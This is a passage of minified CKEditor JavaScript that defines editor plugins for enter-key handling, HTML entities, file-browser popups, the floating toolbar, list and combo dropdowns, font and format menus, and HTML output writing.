e.is("li")&&e.removeAttribute("value");if(CKEDITOR.env.ie&&j&&(!b||!d.getChildCount()))a.moveToElementEditStart(b?d:e),a.select();a.moveToElementEditStart(j&&!b?c:e)}a.select();a.scrollIntoView()}}},enterBr:function(b,d,a,h){if(a=a||r(b)){var f=a.document,i=a.checkEndOfBlock(),k=new CKEDITOR.dom.elementPath(b.getSelection().getStartElement()),j=k.block,c=j&&k.block.getName();!h&&"li"==c?q(b,d,a,h):(!h&&i&&s.test(c)?(i=j.getDirection())?(f=f.createElement("div"),f.setAttribute("dir",i),f.insertAfter(j),
a.setStart(f,0)):(f.createElement("br").insertAfter(j),CKEDITOR.env.gecko&&f.createText("").insertAfter(j),a.setStartAt(j.getNext(),CKEDITOR.env.ie?CKEDITOR.POSITION_BEFORE_START:CKEDITOR.POSITION_AFTER_START)):(b="pre"==c&&CKEDITOR.env.ie&&8>CKEDITOR.env.version?f.createText("\r"):f.createElement("br"),a.deleteContents(),a.insertNode(b),CKEDITOR.env.needsBrFiller?(f.createText("").insertAfter(b),i&&(j||k.blockLimit).appendBogus(),b.getNext().$.nodeValue="",a.setStartAt(b.getNext(),CKEDITOR.POSITION_AFTER_START)):
a.setStartAt(b,CKEDITOR.POSITION_AFTER_END)),a.collapse(!0),a.select(),a.scrollIntoView())}}};var t=CKEDITOR.plugins.enterkey,p=t.enterBr,q=t.enterBlock,s=/^h[1-6]$/})();(function(){function i(b,f){var g={},c=[],e={nbsp:" ",shy:"­",gt:">",lt:"<",amp:"&",apos:"'",quot:'"'},b=b.replace(/\b(nbsp|shy|gt|lt|amp|apos|quot)(?:,|$)/g,function(b,a){var d=f?"&"+a+";":e[a];g[d]=f?e[a]:"&"+a+";";c.push(d);return""});if(!f&&b){var b=b.split(","),a=document.createElement("div"),d;a.innerHTML="&"+b.join(";&")+";";d=a.innerHTML;a=null;for(a=0;a<d.length;a++){var h=d.charAt(a);g[h]="&"+b[a]+";";c.push(h)}}g.regex=c.join(f?"|":"");return g}CKEDITOR.plugins.add("entities",{afterInit:function(b){function f(a){return h[a]}
function g(b){return"force"==c.entities_processNumerical||!a[b]?"&#"+b.charCodeAt(0)+";":a[b]}var c=b.config;if(b=(b=b.dataProcessor)&&b.htmlFilter){var e=[];!1!==c.basicEntities&&e.push("nbsp,gt,lt,amp");c.entities&&(e.length&&e.push("quot,iexcl,cent,pound,curren,yen,brvbar,sect,uml,copy,ordf,laquo,not,shy,reg,macr,deg,plusmn,sup2,sup3,acute,micro,para,middot,cedil,sup1,ordm,raquo,frac14,frac12,frac34,iquest,times,divide,fnof,bull,hellip,prime,Prime,oline,frasl,weierp,image,real,trade,alefsym,larr,uarr,rarr,darr,harr,crarr,lArr,uArr,rArr,dArr,hArr,forall,part,exist,empty,nabla,isin,notin,ni,prod,sum,minus,lowast,radic,prop,infin,ang,and,or,cap,cup,int,there4,sim,cong,asymp,ne,equiv,le,ge,sub,sup,nsub,sube,supe,oplus,otimes,perp,sdot,lceil,rceil,lfloor,rfloor,lang,rang,loz,spades,clubs,hearts,diams,circ,tilde,ensp,emsp,thinsp,zwnj,zwj,lrm,rlm,ndash,mdash,lsquo,rsquo,sbquo,ldquo,rdquo,bdquo,dagger,Dagger,permil,lsaquo,rsaquo,euro"),
c.entities_latin&&e.push("Agrave,Aacute,Acirc,Atilde,Auml,Aring,AElig,Ccedil,Egrave,Eacute,Ecirc,Euml,Igrave,Iacute,Icirc,Iuml,ETH,Ntilde,Ograve,Oacute,Ocirc,Otilde,Ouml,Oslash,Ugrave,Uacute,Ucirc,Uuml,Yacute,THORN,szlig,agrave,aacute,acirc,atilde,auml,aring,aelig,ccedil,egrave,eacute,ecirc,euml,igrave,iacute,icirc,iuml,eth,ntilde,ograve,oacute,ocirc,otilde,ouml,oslash,ugrave,uacute,ucirc,uuml,yacute,thorn,yuml,OElig,oelig,Scaron,scaron,Yuml"),c.entities_greek&&e.push("Alpha,Beta,Gamma,Delta,Epsilon,Zeta,Eta,Theta,Iota,Kappa,Lambda,Mu,Nu,Xi,Omicron,Pi,Rho,Sigma,Tau,Upsilon,Phi,Chi,Psi,Omega,alpha,beta,gamma,delta,epsilon,zeta,eta,theta,iota,kappa,lambda,mu,nu,xi,omicron,pi,rho,sigmaf,sigma,tau,upsilon,phi,chi,psi,omega,thetasym,upsih,piv"),
c.entities_additional&&e.push(c.entities_additional));var a=i(e.join(",")),d=a.regex?"["+a.regex+"]":"a^";delete a.regex;c.entities&&c.entities_processNumerical&&(d="[^ -~]|"+d);var d=RegExp(d,"g"),h=i("nbsp,gt,lt,amp,shy",!0),j=RegExp(h.regex,"g");b.addRules({text:function(a){return a.replace(j,f).replace(d,g)}},{applyToAll:!0,excludeNestedEditable:!0})}}})})();CKEDITOR.config.basicEntities=!0;CKEDITOR.config.entities=!0;CKEDITOR.config.entities_latin=!0;CKEDITOR.config.entities_greek=!0;
CKEDITOR.config.entities_additional="#39";CKEDITOR.plugins.add("popup");
CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{popup:function(e,a,b,d){a=a||"80%";b=b||"70%";"string"==typeof a&&(1<a.length&&"%"==a.substr(a.length-1,1))&&(a=parseInt(window.screen.width*parseInt(a,10)/100,10));"string"==typeof b&&(1<b.length&&"%"==b.substr(b.length-1,1))&&(b=parseInt(window.screen.height*parseInt(b,10)/100,10));640>a&&(a=640);420>b&&(b=420);var f=parseInt((window.screen.height-b)/2,10),g=parseInt((window.screen.width-a)/2,10),d=(d||"location=no,menubar=no,toolbar=no,dependent=yes,minimizable=no,modal=yes,alwaysRaised=yes,resizable=yes,scrollbars=yes")+",width="+
a+",height="+b+",top="+f+",left="+g,c=window.open("",null,d,!0);if(!c)return!1;try{-1==navigator.userAgent.toLowerCase().indexOf(" chrome/")&&(c.moveTo(g,f),c.resizeTo(a,b)),c.focus(),c.location.href=e}catch(h){window.open(e,null,d,!0)}return!0}});(function(){function g(a,c){var d=[];if(c)for(var b in c)d.push(b+"="+encodeURIComponent(c[b]));else return a;return a+(-1!=a.indexOf("?")?"&":"?")+d.join("&")}function i(a){a+="";return a.charAt(0).toUpperCase()+a.substr(1)}function k(){var a=this.getDialog(),c=a.getParentEditor();c._.filebrowserSe=this;var d=c.config["filebrowser"+i(a.getName())+"WindowWidth"]||c.config.filebrowserWindowWidth||"80%",a=c.config["filebrowser"+i(a.getName())+"WindowHeight"]||c.config.filebrowserWindowHeight||"70%",
b=this.filebrowser.params||{};b.CKEditor=c.name;b.CKEditorFuncNum=c._.filebrowserFn;b.langCode||(b.langCode=c.langCode);b=g(this.filebrowser.url,b);c.popup(b,d,a,c.config.filebrowserWindowFeatures||c.config.fileBrowserWindowFeatures)}function l(){var a=this.getDialog();a.getParentEditor()._.filebrowserSe=this;return!a.getContentElement(this["for"][0],this["for"][1]).getInputElement().$.value||!a.getContentElement(this["for"][0],this["for"][1]).getAction()?!1:!0}function m(a,c,d){var b=d.params||{};
b.CKEditor=a.name;b.CKEditorFuncNum=a._.filebrowserFn;b.langCode||(b.langCode=a.langCode);c.action=g(d.url,b);c.filebrowser=d}function j(a,c,d,b){if(b&&b.length)for(var e,g=b.length;g--;)if(e=b[g],("hbox"==e.type||"vbox"==e.type||"fieldset"==e.type)&&j(a,c,d,e.children),e.filebrowser)if("string"==typeof e.filebrowser&&(e.filebrowser={action:"fileButton"==e.type?"QuickUpload":"Browse",target:e.filebrowser}),"Browse"==e.filebrowser.action){var f=e.filebrowser.url;void 0===f&&(f=a.config["filebrowser"+
i(c)+"BrowseUrl"],void 0===f&&(f=a.config.filebrowserBrowseUrl));f&&(e.onClick=k,e.filebrowser.url=f,e.hidden=!1)}else if("QuickUpload"==e.filebrowser.action&&e["for"]&&(f=e.filebrowser.url,void 0===f&&(f=a.config["filebrowser"+i(c)+"UploadUrl"],void 0===f&&(f=a.config.filebrowserUploadUrl)),f)){var h=e.onClick;e.onClick=function(a){var b=a.sender;return h&&h.call(b,a)===false?false:l.call(b,a)};e.filebrowser.url=f;e.hidden=!1;m(a,d.getContents(e["for"][0]).get(e["for"][1]),e.filebrowser)}}function h(a,
c,d){if(-1!==d.indexOf(";")){for(var d=d.split(";"),b=0;b<d.length;b++)if(h(a,c,d[b]))return!0;return!1}return(a=a.getContents(c).get(d).filebrowser)&&a.url}function n(a,c){var d=this._.filebrowserSe.getDialog(),b=this._.filebrowserSe["for"],e=this._.filebrowserSe.filebrowser.onSelect;b&&d.getContentElement(b[0],b[1]).reset();if(!("function"==typeof c&&!1===c.call(this._.filebrowserSe))&&!(e&&!1===e.call(this._.filebrowserSe,a,c))&&("string"==typeof c&&c&&alert(c),a&&(b=this._.filebrowserSe,d=b.getDialog(),
b=b.filebrowser.target||null)))if(b=b.split(":"),e=d.getContentElement(b[0],b[1]))e.setValue(a),d.selectPage(b[0])}CKEDITOR.plugins.add("filebrowser",{requires:"popup",init:function(a){a._.filebrowserFn=CKEDITOR.tools.addFunction(n,a);a.on("destroy",function(){CKEDITOR.tools.removeFunction(this._.filebrowserFn)})}});CKEDITOR.on("dialogDefinition",function(a){if(a.editor.plugins.filebrowser)for(var c=a.data.definition,d,b=0;b<c.contents.length;++b)if(d=c.contents[b])j(a.editor,a.data.name,c,d.elements),
d.hidden&&d.filebrowser&&(d.hidden=!h(c,d.id,d.filebrowser))})})();(function(){function i(a){var j=a.config,m=a.fire("uiSpace",{space:"top",html:""}).html,p=function(){function f(a,c,e){b.setStyle(c,s(e));b.setStyle("position",a)}function e(a){var b=i.getDocumentPosition();switch(a){case "top":f("absolute","top",b.y-n-o);break;case "pin":f("fixed","top",t);break;case "bottom":f("absolute","top",b.y+(c.height||c.bottom-c.top)+o)}k=a}var k,i,l,c,h,n,r,m=j.floatSpaceDockedOffsetX||0,o=j.floatSpaceDockedOffsetY||0,q=j.floatSpacePinnedOffsetX||0,t=j.floatSpacePinnedOffsetY||
0;return function(d){if(i=a.editable())if(d&&"focus"==d.name&&b.show(),b.removeStyle("left"),b.removeStyle("right"),l=b.getClientRect(),c=i.getClientRect(),h=g.getViewPaneSize(),n=l.height,r="pageXOffset"in g.$?g.$.pageXOffset:CKEDITOR.document.$.documentElement.scrollLeft,k){n+o<=c.top?e("top"):n+o>h.height-c.bottom?e("pin"):e("bottom");var d=h.width/2,d=0<c.left&&c.right<h.width&&c.width>l.width?"rtl"==a.config.contentsLangDirection?"right":"left":d-c.left>c.right-d?"left":"right",f;l.width>h.width?
(d="left",f=0):(f="left"==d?0<c.left?c.left:0:c.right<h.width?h.width-c.right:0,f+l.width>h.width&&(d="left"==d?"right":"left",f=0));b.setStyle(d,s(("pin"==k?q:m)+f+("pin"==k?0:"left"==d?r:-r)))}else k="pin",e("pin"),p(d)}}();if(m){var i=new CKEDITOR.template('<div id="cke_{name}" class="cke {id} cke_reset_all cke_chrome cke_editor_{name} cke_float cke_{langDir} '+CKEDITOR.env.cssClass+'" dir="{langDir}" title="'+(CKEDITOR.env.gecko?" ":"")+'" lang="{langCode}" role="application" style="{style}"'+
(a.title?' aria-labelledby="cke_{name}_arialbl"':" ")+">"+(a.title?'<span id="cke_{name}_arialbl" class="cke_voice_label">{voiceLabel}</span>':" ")+'<div class="cke_inner"><div id="{topId}" class="cke_top" role="presentation">{content}</div></div></div>'),b=CKEDITOR.document.getBody().append(CKEDITOR.dom.element.createFromHtml(i.output({content:m,id:a.id,langDir:a.lang.dir,langCode:a.langCode,name:a.name,style:"display:none;z-index:"+(j.baseFloatZIndex-1),topId:a.ui.spaceId("top"),voiceLabel:a.title}))),
q=CKEDITOR.tools.eventsBuffer(500,p),e=CKEDITOR.tools.eventsBuffer(100,p);b.unselectable();b.on("mousedown",function(a){a=a.data;a.getTarget().hasAscendant("a",1)||a.preventDefault()});a.on("focus",function(b){p(b);a.on("change",q.input);g.on("scroll",e.input);g.on("resize",e.input)});a.on("blur",function(){b.hide();a.removeListener("change",q.input);g.removeListener("scroll",e.input);g.removeListener("resize",e.input)});a.on("destroy",function(){g.removeListener("scroll",e.input);g.removeListener("resize",
e.input);b.clearCustomData();b.remove()});a.focusManager.hasFocus&&b.show();a.focusManager.add(b,1)}}var g=CKEDITOR.document.getWindow(),s=CKEDITOR.tools.cssLength;CKEDITOR.plugins.add("floatingspace",{init:function(a){a.on("loaded",function(){i(this)},null,null,20)}})})();CKEDITOR.plugins.add("listblock",{requires:"panel",onLoad:function(){var f=CKEDITOR.addTemplate("panel-list",'<ul role="presentation" class="cke_panel_list">{items}</ul>'),g=CKEDITOR.addTemplate("panel-list-item",'<li id="{id}" class="cke_panel_listItem" role=presentation><a id="{id}_option" _cke_focus=1 hidefocus=true title="{title}" href="javascript:void(\'{val}\')"  {onclick}="CKEDITOR.tools.callFunction({clickFn},\'{val}\'); return false;" role="option">{text}</a></li>'),h=CKEDITOR.addTemplate("panel-list-group",
'<h1 id="{id}" class="cke_panel_grouptitle" role="presentation" >{label}</h1>'),i=/\'/g;CKEDITOR.ui.panel.prototype.addListBlock=function(a,b){return this.addBlock(a,new CKEDITOR.ui.listBlock(this.getHolderElement(),b))};CKEDITOR.ui.listBlock=CKEDITOR.tools.createClass({base:CKEDITOR.ui.panel.block,$:function(a,b){var b=b||{},c=b.attributes||(b.attributes={});(this.multiSelect=!!b.multiSelect)&&(c["aria-multiselectable"]=!0);!c.role&&(c.role="listbox");this.base.apply(this,arguments);this.element.setAttribute("role",
c.role);c=this.keys;c[40]="next";c[9]="next";c[38]="prev";c[CKEDITOR.SHIFT+9]="prev";c[32]=CKEDITOR.env.ie?"mouseup":"click";CKEDITOR.env.ie&&(c[13]="mouseup");this._.pendingHtml=[];this._.pendingList=[];this._.items={};this._.groups={}},_:{close:function(){if(this._.started){var a=f.output({items:this._.pendingList.join("")});this._.pendingList=[];this._.pendingHtml.push(a);delete this._.started}},getClick:function(){this._.click||(this._.click=CKEDITOR.tools.addFunction(function(a){var b=this.toggle(a);
if(this.onClick)this.onClick(a,b)},this));return this._.click}},proto:{add:function(a,b,c){var d=CKEDITOR.tools.getNextId();this._.started||(this._.started=1,this._.size=this._.size||0);this._.items[a]=d;var e;e=CKEDITOR.tools.htmlEncodeAttr(a).replace(i,"\\'");a={id:d,val:e,onclick:CKEDITOR.env.ie?'onclick="return false;" onmouseup':"onclick",clickFn:this._.getClick(),title:CKEDITOR.tools.htmlEncodeAttr(c||a),text:b||a};this._.pendingList.push(g.output(a))},startGroup:function(a){this._.close();
var b=CKEDITOR.tools.getNextId();this._.groups[a]=b;this._.pendingHtml.push(h.output({id:b,label:a}))},commit:function(){this._.close();this.element.appendHtml(this._.pendingHtml.join(""));delete this._.size;this._.pendingHtml=[]},toggle:function(a){var b=this.isMarked(a);b?this.unmark(a):this.mark(a);return!b},hideGroup:function(a){var b=(a=this.element.getDocument().getById(this._.groups[a]))&&a.getNext();a&&(a.setStyle("display","none"),b&&"ul"==b.getName()&&b.setStyle("display","none"))},hideItem:function(a){this.element.getDocument().getById(this._.items[a]).setStyle("display",
"none")},showAll:function(){var a=this._.items,b=this._.groups,c=this.element.getDocument(),d;for(d in a)c.getById(a[d]).setStyle("display","");for(var e in b)a=c.getById(b[e]),d=a.getNext(),a.setStyle("display",""),d&&"ul"==d.getName()&&d.setStyle("display","")},mark:function(a){this.multiSelect||this.unmarkAll();var a=this._.items[a],b=this.element.getDocument().getById(a);b.addClass("cke_selected");this.element.getDocument().getById(a+"_option").setAttribute("aria-selected",!0);this.onMark&&this.onMark(b)},
unmark:function(a){var b=this.element.getDocument(),a=this._.items[a],c=b.getById(a);c.removeClass("cke_selected");b.getById(a+"_option").removeAttribute("aria-selected");this.onUnmark&&this.onUnmark(c)},unmarkAll:function(){var a=this._.items,b=this.element.getDocument(),c;for(c in a){var d=a[c];b.getById(d).removeClass("cke_selected");b.getById(d+"_option").removeAttribute("aria-selected")}this.onUnmark&&this.onUnmark()},isMarked:function(a){return this.element.getDocument().getById(this._.items[a]).hasClass("cke_selected")},
focus:function(a){this._.focusIndex=-1;var b=this.element.getElementsByTag("a"),c,d=-1;if(a)for(c=this.element.getDocument().getById(this._.items[a]).getFirst();a=b.getItem(++d);){if(a.equals(c)){this._.focusIndex=d;break}}else this.element.focus();c&&setTimeout(function(){c.focus()},0)}}})}});CKEDITOR.plugins.add("richcombo",{requires:"floatpanel,listblock,button",beforeInit:function(d){d.ui.addHandler(CKEDITOR.UI_RICHCOMBO,CKEDITOR.ui.richCombo.handler)}});
(function(){var d='<span id="{id}" class="cke_combo cke_combo__{name} {cls}" role="presentation"><span id="{id}_label" class="cke_combo_label">{label}</span><a class="cke_combo_button" title="{title}" tabindex="-1"'+(CKEDITOR.env.gecko&&!CKEDITOR.env.hc?"":" href=\"javascript:void('{titleJs}')\"")+' hidefocus="true" role="button" aria-labelledby="{id}_label" aria-haspopup="true"';CKEDITOR.env.gecko&&CKEDITOR.env.mac&&(d+=' onkeypress="return false;"');CKEDITOR.env.gecko&&(d+=' onblur="this.style.cssText = this.style.cssText;"');
var d=d+(' onkeydown="return CKEDITOR.tools.callFunction({keydownFn},event,this);" onfocus="return CKEDITOR.tools.callFunction({focusFn},event);" '+(CKEDITOR.env.ie?'onclick="return false;" onmouseup':"onclick")+'="CKEDITOR.tools.callFunction({clickFn},this);return false;"><span id="{id}_text" class="cke_combo_text cke_combo_inlinelabel">{label}</span><span class="cke_combo_open"><span class="cke_combo_arrow">'+(CKEDITOR.env.hc?"&#9660;":CKEDITOR.env.air?"&nbsp;":"")+"</span></span></a></span>"),
i=CKEDITOR.addTemplate("combo",d);CKEDITOR.UI_RICHCOMBO="richcombo";CKEDITOR.ui.richCombo=CKEDITOR.tools.createClass({$:function(a){CKEDITOR.tools.extend(this,a,{canGroup:!1,title:a.label,modes:{wysiwyg:1},editorFocus:1});a=this.panel||{};delete this.panel;this.id=CKEDITOR.tools.getNextNumber();this.document=a.parent&&a.parent.getDocument()||CKEDITOR.document;a.className="cke_combopanel";a.block={multiSelect:a.multiSelect,attributes:a.attributes};a.toolbarRelated=!0;this._={panelDefinition:a,items:{}}},
proto:{renderHtml:function(a){var b=[];this.render(a,b);return b.join("")},render:function(a,b){function g(){if(this.getState()!=CKEDITOR.TRISTATE_ON){var c=this.modes[a.mode]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED;a.readOnly&&!this.readOnly&&(c=CKEDITOR.TRISTATE_DISABLED);this.setState(c);this.setValue("");c!=CKEDITOR.TRISTATE_DISABLED&&this.refresh&&this.refresh()}}var d=CKEDITOR.env,h="cke_"+this.id,e=CKEDITOR.tools.addFunction(function(b){j&&(a.unlockSelection(1),j=0);c.execute(b)},
this),f=this,c={id:h,combo:this,focus:function(){CKEDITOR.document.getById(h).getChild(1).focus()},execute:function(c){var b=f._;if(b.state!=CKEDITOR.TRISTATE_DISABLED)if(f.createPanel(a),b.on)b.panel.hide();else{f.commit();var d=f.getValue();d?b.list.mark(d):b.list.unmarkAll();b.panel.showBlock(f.id,new CKEDITOR.dom.element(c),4)}},clickFn:e};a.on("activeFilterChange",g,this);a.on("mode",g,this);a.on("selectionChange",g,this);!this.readOnly&&a.on("readOnly",g,this);var k=CKEDITOR.tools.addFunction(function(b,
d){var b=new CKEDITOR.dom.event(b),g=b.getKeystroke();if(40==g)a.once("panelShow",function(a){a.data._.panel._.currentBlock.onKeyDown(40)});switch(g){case 13:case 32:case 40:CKEDITOR.tools.callFunction(e,d);break;default:c.onkey(c,g)}b.preventDefault()}),l=CKEDITOR.tools.addFunction(function(){c.onfocus&&c.onfocus()}),j=0;c.keyDownFn=k;d={id:h,name:this.name||this.command,label:this.label,title:this.title,cls:this.className||"",titleJs:d.gecko&&!d.hc?"":(this.title||"").replace("'",""),keydownFn:k,
focusFn:l,clickFn:e};i.output(d,b);if(this.onRender)this.onRender();return c},createPanel:function(a){if(!this._.panel){var b=this._.panelDefinition,d=this._.panelDefinition.block,i=b.parent||CKEDITOR.document.getBody(),h="cke_combopanel__"+this.name,e=new CKEDITOR.ui.floatPanel(a,i,b),f=e.addListBlock(this.id,d),c=this;e.onShow=function(){this.element.addClass(h);c.setState(CKEDITOR.TRISTATE_ON);c._.on=1;c.editorFocus&&!a.focusManager.hasFocus&&a.focus();if(c.onOpen)c.onOpen();a.once("panelShow",
function(){f.focus(!f.multiSelect&&c.getValue())})};e.onHide=function(b){this.element.removeClass(h);c.setState(c.modes&&c.modes[a.mode]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED);c._.on=0;if(!b&&c.onClose)c.onClose()};e.onEscape=function(){e.hide(1)};f.onClick=function(a,b){c.onClick&&c.onClick.call(c,a,b);e.hide()};this._.panel=e;this._.list=f;e.getBlock(this.id).onHide=function(){c._.on=0;c.setState(CKEDITOR.TRISTATE_OFF)};this.init&&this.init()}},setValue:function(a,b){this._.value=a;var d=
this.document.getById("cke_"+this.id+"_text");d&&(!a&&!b?(b=this.label,d.addClass("cke_combo_inlinelabel")):d.removeClass("cke_combo_inlinelabel"),d.setText("undefined"!=typeof b?b:a))},getValue:function(){return this._.value||""},unmarkAll:function(){this._.list.unmarkAll()},mark:function(a){this._.list.mark(a)},hideItem:function(a){this._.list.hideItem(a)},hideGroup:function(a){this._.list.hideGroup(a)},showAll:function(){this._.list.showAll()},add:function(a,b,d){this._.items[a]=d||a;this._.list.add(a,
b,d)},startGroup:function(a){this._.list.startGroup(a)},commit:function(){this._.committed||(this._.list.commit(),this._.committed=1,CKEDITOR.ui.fire("ready",this));this._.committed=1},setState:function(a){if(this._.state!=a){var b=this.document.getById("cke_"+this.id);b.setState(a,"cke_combo");a==CKEDITOR.TRISTATE_DISABLED?b.setAttribute("aria-disabled",!0):b.removeAttribute("aria-disabled");this._.state=a}},getState:function(){return this._.state},enable:function(){this._.state==CKEDITOR.TRISTATE_DISABLED&&
this.setState(this._.lastState)},disable:function(){this._.state!=CKEDITOR.TRISTATE_DISABLED&&(this._.lastState=this._.state,this.setState(CKEDITOR.TRISTATE_DISABLED))}},statics:{handler:{create:function(a){return new CKEDITOR.ui.richCombo(a)}}}});CKEDITOR.ui.prototype.addRichCombo=function(a,b){this.add(a,CKEDITOR.UI_RICHCOMBO,b)}})();(function(){function j(a,b,c,f,m,j,p,r){for(var s=a.config,n=new CKEDITOR.style(p),i=m.split(";"),m=[],k={},d=0;d<i.length;d++){var h=i[d];if(h){var h=h.split("/"),q={},l=i[d]=h[0];q[c]=m[d]=h[1]||l;k[l]=new CKEDITOR.style(p,q);k[l]._.definition.name=l}else i.splice(d--,1)}a.ui.addRichCombo(b,{label:f.label,title:f.panelTitle,toolbar:"styles,"+r,allowedContent:n,requiredContent:n,panel:{css:[CKEDITOR.skin.getPath("editor")].concat(s.contentsCss),multiSelect:!1,attributes:{"aria-label":f.panelTitle}},
init:function(){this.startGroup(f.panelTitle);for(var a=0;a<i.length;a++){var b=i[a];this.add(b,k[b].buildPreview(),b)}},onClick:function(b){a.focus();a.fire("saveSnapshot");var c=this.getValue(),f=k[b];if(c&&b!=c){var i=k[c],e=a.getSelection().getRanges()[0];if(e.collapsed){var d=a.elementPath(),g=d.contains(function(a){return i.checkElementRemovable(a)});if(g){var h=e.checkBoundaryOfElement(g,CKEDITOR.START),j=e.checkBoundaryOfElement(g,CKEDITOR.END);if(h&&j){for(h=e.createBookmark();d=g.getFirst();)d.insertBefore(g);
g.remove();e.moveToBookmark(h)}else h?e.moveToPosition(g,CKEDITOR.POSITION_BEFORE_START):j?e.moveToPosition(g,CKEDITOR.POSITION_AFTER_END):(e.splitElement(g),e.moveToPosition(g,CKEDITOR.POSITION_AFTER_END),o(e,d.elements.slice(),g));a.getSelection().selectRanges([e])}}else a.removeStyle(i)}a[c==b?"removeStyle":"applyStyle"](f);a.fire("saveSnapshot")},onRender:function(){a.on("selectionChange",function(b){for(var c=this.getValue(),b=b.data.path.elements,d=0,f;d<b.length;d++){f=b[d];for(var e in k)if(k[e].checkElementMatch(f,
!0,a)){e!=c&&this.setValue(e);return}}this.setValue("",j)},this)},refresh:function(){a.activeFilter.check(n)||this.setState(CKEDITOR.TRISTATE_DISABLED)}})}function o(a,b,c){var f=b.pop();if(f){if(c)return o(a,b,f.equals(c)?null:c);c=f.clone();a.insertNode(c);a.moveToPosition(c,CKEDITOR.POSITION_AFTER_START);o(a,b)}}CKEDITOR.plugins.add("font",{requires:"richcombo",init:function(a){var b=a.config;j(a,"Font","family",a.lang.font,b.font_names,b.font_defaultLabel,b.font_style,30);j(a,"FontSize","size",
a.lang.font.fontSize,b.fontSize_sizes,b.fontSize_defaultLabel,b.fontSize_style,40)}})})();CKEDITOR.config.font_names="Arial/Arial, Helvetica, sans-serif;Comic Sans MS/Comic Sans MS, cursive;Courier New/Courier New, Courier, monospace;Georgia/Georgia, serif;Lucida Sans Unicode/Lucida Sans Unicode, Lucida Grande, sans-serif;Tahoma/Tahoma, Geneva, sans-serif;Times New Roman/Times New Roman, Times, serif;Trebuchet MS/Trebuchet MS, Helvetica, sans-serif;Verdana/Verdana, Geneva, sans-serif";
CKEDITOR.config.font_defaultLabel="";CKEDITOR.config.font_style={element:"span",styles:{"font-family":"#(family)"},overrides:[{element:"font",attributes:{face:null}}]};CKEDITOR.config.fontSize_sizes="8/8px;9/9px;10/10px;11/11px;12/12px;14/14px;16/16px;18/18px;20/20px;22/22px;24/24px;26/26px;28/28px;36/36px;48/48px;72/72px";CKEDITOR.config.fontSize_defaultLabel="";CKEDITOR.config.fontSize_style={element:"span",styles:{"font-size":"#(size)"},overrides:[{element:"font",attributes:{size:null}}]};CKEDITOR.plugins.add("format",{requires:"richcombo",init:function(a){if(!a.blockless){for(var f=a.config,c=a.lang.format,j=f.format_tags.split(";"),d={},k=0,l=[],g=0;g<j.length;g++){var h=j[g],i=new CKEDITOR.style(f["format_"+h]);if(!a.filter.customConfig||a.filter.check(i))k++,d[h]=i,d[h]._.enterMode=a.config.enterMode,l.push(i)}0!==k&&a.ui.addRichCombo("Format",{label:c.label,title:c.panelTitle,toolbar:"styles,20",allowedContent:l,panel:{css:[CKEDITOR.skin.getPath("editor")].concat(f.contentsCss),
multiSelect:!1,attributes:{"aria-label":c.panelTitle}},init:function(){this.startGroup(c.panelTitle);for(var a in d){var e=c["tag_"+a];this.add(a,d[a].buildPreview(e),e)}},onClick:function(b){a.focus();a.fire("saveSnapshot");var b=d[b],e=a.elementPath();a[b.checkActive(e,a)?"removeStyle":"applyStyle"](b);setTimeout(function(){a.fire("saveSnapshot")},0)},onRender:function(){a.on("selectionChange",function(b){var e=this.getValue(),b=b.data.path;this.refresh();for(var c in d)if(d[c].checkActive(b,a)){c!=
e&&this.setValue(c,a.lang.format["tag_"+c]);return}this.setValue("")},this)},onOpen:function(){this.showAll();for(var b in d)a.activeFilter.check(d[b])||this.hideItem(b)},refresh:function(){var b=a.elementPath();if(b){if(b.isContextFor("p"))for(var c in d)if(a.activeFilter.check(d[c]))return;this.setState(CKEDITOR.TRISTATE_DISABLED)}}})}}});CKEDITOR.config.format_tags="p;h1;h2;h3;h4;h5;h6;pre;address;div";CKEDITOR.config.format_p={element:"p"};CKEDITOR.config.format_div={element:"div"};
CKEDITOR.config.format_pre={element:"pre"};CKEDITOR.config.format_address={element:"address"};CKEDITOR.config.format_h1={element:"h1"};CKEDITOR.config.format_h2={element:"h2"};CKEDITOR.config.format_h3={element:"h3"};CKEDITOR.config.format_h4={element:"h4"};CKEDITOR.config.format_h5={element:"h5"};CKEDITOR.config.format_h6={element:"h6"};(function(){var b={canUndo:!1,exec:function(a){var b=a.document.createElement("hr");a.insertElement(b)},allowedContent:"hr",requiredContent:"hr"};CKEDITOR.plugins.add("horizontalrule",{init:function(a){a.blockless||(a.addCommand("horizontalrule",b),a.ui.addButton&&a.ui.addButton("HorizontalRule",{label:a.lang.horizontalrule.toolbar,command:"horizontalrule",toolbar:"insert,40"}))}})})();CKEDITOR.plugins.add("htmlwriter",{init:function(b){var a=new CKEDITOR.htmlWriter;a.forceSimpleAmpersand=b.config.forceSimpleAmpersand;a.indentationChars=b.config.dataIndentationChars||"\t";b.dataProcessor.writer=a}});
CKEDITOR.htmlWriter=CKEDITOR.tools.createClass({base:CKEDITOR.htmlParser.basicWriter,$:function(){this.base();this.indentationChars="\t";this.selfClosingEnd=" />";this.lineBreakChars="\n";this.sortAttributes=1;this._.indent=0;this._.indentation="";this._.inPre=0;this._.rules={};var b=CKEDITOR.dtd,a;for(a in CKEDITOR.tools.extend({},b.$nonBodyContent,b.$block,b.$listItem,b.$tableContent))this.setRules(a,{indent:!b[a]["#"],breakBeforeOpen:1,breakBeforeClose:!b[a]["#"],breakAfterClose:1,needsSpace:a in
b.$block&&!(a in{li:1,dt:1,dd:1})});this.setRules("br",{breakAfterOpen:1});this.setRules("title",{indent:0,breakAfterOpen:0});this.setRules("style",{indent:0,breakBeforeClose:1});this.setRules("pre",{breakAfterOpen:1,indent:0})},proto:{openTag:function(b){var a=this._.rules[b];this._.afterCloser&&(a&&a.needsSpace&&this._.needsSpace)&&this._.output.push("\n");this._.indent?this.indentation():a&&a.breakBeforeOpen&&(this.lineBreak(),this.indentation());this._.output.push("<",b);this._.afterCloser=0},
openTagClose:function(b,a){var c=this._.rules[b];a?(this._.output.push(this.selfClosingEnd),c&&c.breakAfterClose&&(this._.needsSpace=c.needsSpace)):(this._.output.push(">"),c&&c.indent&&(this._.indentation+=this.indentationChars));c&&c.breakAfterOpen&&this.lineBreak();"pre"==b&&(this._.inPre=1)},attribute:function(b,a){"string"==typeof a&&(this.forceSimpleAmpersand&&(a=a.replace(/&amp;/g,"&")),a=CKEDITOR.tools.htmlEncodeAttr(a));this._.output.push(" ",b,'="',a,'"')},closeTag:function(b){var a=this._.rules[b];
